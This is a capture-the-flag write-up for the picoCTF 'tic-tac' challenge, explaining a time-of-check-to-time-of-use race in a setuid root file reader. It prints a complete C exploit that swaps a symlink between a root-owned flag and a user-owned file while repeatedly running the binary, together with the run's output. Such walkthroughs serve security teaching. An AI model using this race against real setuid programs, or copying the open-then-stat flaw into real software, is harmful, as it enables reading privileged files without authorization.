Skip to content

Latest commit

 

History

History
executable file
·
190 lines (148 loc) · 7.45 KB

File metadata and controls

executable file
·
190 lines (148 loc) · 7.45 KB

tic-tac

Overview

200 points

Category: Binary Exploitation

Tags : #setuid #toctou

Description

Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. ssh to saturn.picoctf.net:<port>, and run the binary named txtreader once connected. Login as ctf-player with the supplied password.

Approach

Listing the contents of the home folder on the instance we see :

drwxr-xr-x 1 ctf-player ctf-player    20 Mar 19 12:02 .
drwxr-xr-x 1 root       root          24 Mar 16 02:27 ..
drwx------ 2 ctf-player ctf-player    34 Mar 19 12:02 .cache
-rw-r--r-- 1 root       root          67 Mar 16 02:28 .profile
-rw------- 1 root       root          32 Mar 16 02:28 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16 01:30 src.cpp
-rwsr-xr-x 1 root       root       19016 Mar 16 02:28 txtreader

txtreader binary is owned by root and has the setuid bit set, such that it will run with the effective user ID of root. The flag.txt file is also owned by root and is not accessible by others.

Executing txtreader to attempt to read the flag file yields :

ctf-player@pico-chall$ ./txtreader flag.txt
Error: you don't own this file

Analysing the src.cpp source provided (snippet below), we can see why despite having our privileges elevated by the setuid binary bit, the ownership of the input file is checked by txtreader via a call to stat() to get the owner of the input file and a comparison with the results of getuid(). This fails because our effective user ID is elevated (returned by geteuid()) but not our actual user ID returned via getuid().

std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;

// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
  std::cerr << "Error: Could not retrieve file information" << std::endl;
  return 1;
}

Looking more carefully at this sequence, the target file is firstly opened via the std::ifstream constructor using the provided filename (commandline argument) ready for use, and then stat() is called, also using the provided filename. There is no direct association between the two, by that I mean stat() is not using the file descriptor of the open file for example. They are two discrete steps, with the only thing in common the requested filename string. Therefore there is a Time Of Check to Time Of Use (TOCTOU) bug.

If we can leverage the fraction of time between opening the flag file and then checking its ownership by creating a race condition to exploit the TOCTOU, we can bypass the getuid() check.

Desired sequence of events (race condition) :

open(file == flag-file)
...
  < swap flag-file (owned by root) with dummy-file (owned by user) >
...
stat(file == dummy-file)
getuid() == owner of dummy-file

So how do we swap files but keep the filename (commandline argument) the same? We use the file system's symbolic links feature.

Solution

The fraction of exploitable time would be small, so I went with a C-program to automate this process within a loop until the race condition was hit.

Plan of attack :

  1. create a user owned dummy_flag.txt file, with some dummy contents
  2. create a symbolic link to the flag.txt file owned by root
  3. fork and exec the txtreader binary, redirecting its standard ouput to an output.txt file so we can check if we were successful
  4. introduce a minor delay in the parent process (simple busy loop sufficed) to allow txtreader process to have reached and executed the open() 1
  5. remove the target.txt symbolic link and recreate it linking to the user owned dummy_flag.txt, hopefully in time for the stat() and subsequent getuid() check
  6. check the output from txtreader, loop back to step 2 and try again if we didn't hit the race condition (no picoCTF in output)

Final (rough and ready) program used to drop the flag during the event, pasted into a file and compiled on the target instance :

#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>
#include <fcntl.h>
#include <string.h>

int
main (void)
{
  // create the dummy flag file
  FILE *fp = fopen ("./dummy_flag.txt", "w");
  if (!fp)
  {
    return 1;
  }
  fputs("dummyFlag{just_a_place_holder}", fp);
  fclose(fp);

  // start the attack
  bool droppedFlag = false;
  do
  {
    // link target to the root owned flag file, opened first
    unlink("./target.txt");
    symlink("./flag.txt", "./target.txt");

    pid_t pid = fork();
    if (pid == 0)
    {
      // child process

      // standard out redirect
      int out_fd = open("output.txt", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
      dup2(out_fd, STDOUT_FILENO);
      dup2(out_fd, STDERR_FILENO);
      close(out_fd);

      execlp("./txtreader", "./txtreader", "./target.txt", NULL);
    }
    
    volatile int delay = 0;
    for (delay = 0; delay < 500000;)
    {
      delay = ((delay * 100) / (200 / 2)) + 1; 
    }

    // race condition: replace the link to root owned flag.txt, with user owned
    // dummy flag file, hopefully before the file stat() request to check getuid()
    unlink("./target.txt");
    symlink("./dummy_flag.txt", "./target.txt");

    // wait for setuid binary to complete
    int status;
    waitpid(pid, &status, 0);

    // read redirected output, check if flag was dumped
    fp = fopen("./output.txt", "r");
    if (fp)
    {
      char buf[50];
      buf[0] = '\0';

      fgets(buf, 50, fp);
      if (strncmp(buf, "picoCTF", 7) == 0)
      {
        droppedFlag = true;
      }

      printf("%s", buf);
      while (fgets(buf, 50, fp) != NULL)
      {
        printf("%s", buf);
        buf[0] = '\0';
      }
      fclose(fp);
    }
  }
  while(!droppedFlag);

  return 0;
}

Output from the event :

ctf-player@pico-chall$ ./pwn
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
dummyFlag{just_a_place_holder}
Error: you don't own this file
Error: you don't own this file
Error: you don't own this file
Error: Could not retrieve file information
dummyFlag{just_a_place_holder}
Error: Could not retrieve file information
Error: you don't own this file
dummyFlag{just_a_place_holder}
dummyFlag{just_a_place_holder}
Error: you don't own this file
Error: you don't own this file
Error: you don't own this file
picoCTF{....<redacted>.........}

Footnotes

  1. Step 4 was added to tweak delays slightly, initially the parent process was observed to be unlinking the flag file too quickly (output was mostly my dummy flag "dummyFlag{just_a_place_holder}" or very occasionally "Error: Could not retrieve file information" meaning the file switcheroo was still in process) as the forked process required time to execute.